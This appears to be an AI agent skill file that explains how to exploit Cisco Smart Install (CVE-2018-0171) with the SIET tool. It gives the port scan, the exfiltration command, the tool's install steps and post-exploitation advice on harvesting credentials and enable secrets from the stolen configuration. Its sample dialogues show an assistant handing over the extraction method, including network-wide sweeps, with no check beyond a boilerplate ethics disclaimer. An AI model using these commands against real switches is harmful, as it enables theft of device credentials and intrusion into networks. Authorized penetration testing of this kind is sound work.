abelrguezr Cisco Smart Install Exploitation
Overview
Cisco Smart Install is a Cisco protocol designed to automate initial configuration and OS image loading for new Cisco hardware. By default, it's active on Cisco devices and uses TCP port 4786.
Critical Vulnerability: CVE-2018-0171
- CVSS Score: 9.8 (Critical)
- Year Discovered: 2018
- Impact: Buffer overflow allowing:
- Forcible device reboot
- Remote Code Execution (RCE)
- Configuration exfiltration
Prerequisites
- Authorized access only - This skill is for legitimate penetration testing on systems you own or have explicit permission to test
- SIET Tool - Smart Install Exploitation Tool must be installed
- Target device - Real Cisco hardware (virtual images don't have Smart Install)
- Port 4786 open - Verify the target has Smart Install active
Quick Start
1. Verify Target
First, confirm port 4786 is open on the target:
nmap -p 4786 <target-ip>
Expected output:
PORT STATE SERVICE
4786/tcp open smart-install
2. Exfiltrate Configuration
Use SIET to extract the device configuration:
sudo python2 siet.py -g -i <target-ip>
Arguments:
-g- Exfiltrate configuration from device-i- Set target IP address
3. Retrieve Configuration
The configuration file will be saved in the tftp/ folder within the SIET directory.
Complete Workflow
# Step 1: Navigate to SIET directory
cd ~/opt/tools/SIET
# Step 2: Run exfiltration (requires sudo)
sudo python2 siet.py -g -i 10.10.100.10
# Step 3: Check extracted configuration
cat tftp/<target-ip>.conf
SIET Tool Installation
If SIET is not installed:
git clone https://github.com/frostbits-security/SIET
cd SIET
Important Notes
- Real hardware required: Virtual Cisco images do not include Smart Install functionality
- Python 2: SIET requires Python 2 (
python2command) - Root privileges: The exploit requires sudo/root access
- Network access: You must be on the same network segment as the target
Post-Exploitation
Once you have the configuration:
- Analyze for credentials - Look for usernames, passwords, enable secrets
- Map network topology - Identify connected devices and interfaces
- Find misconfigurations - Look for weak security settings
- Identify attack vectors - Use configuration data to plan next steps
Safety & Ethics
⚠️ This skill is for authorized penetration testing only.
- Only test systems you own or have written permission to test
- Document all activities for your engagement
- Report findings to the appropriate stakeholders
- Do not use this for unauthorized access
Example Scenarios
Scenario 1: Initial Reconnaissance
User: "I found a Cisco switch at 192.168.1.50 with port 4786 open. How do I get its config?"
Response: Use SIET with the -g flag to exfiltrate the configuration file.
Scenario 2: Network Assessment
User: "Need to extract configs from all Cisco devices on the network for our pentest."
Response: Scan for port 4786, then run SIET against each target with Smart Install active.
Troubleshooting
| Issue | Solution |
|---|---|
| Connection refused | Verify port 4786 is open and Smart Install is active |
| Permission denied | Run with sudo/root privileges |
| No config file | Check tftp/ directory; device may not have Smart Install |
| Python error | Ensure Python 2 is installed and in PATH |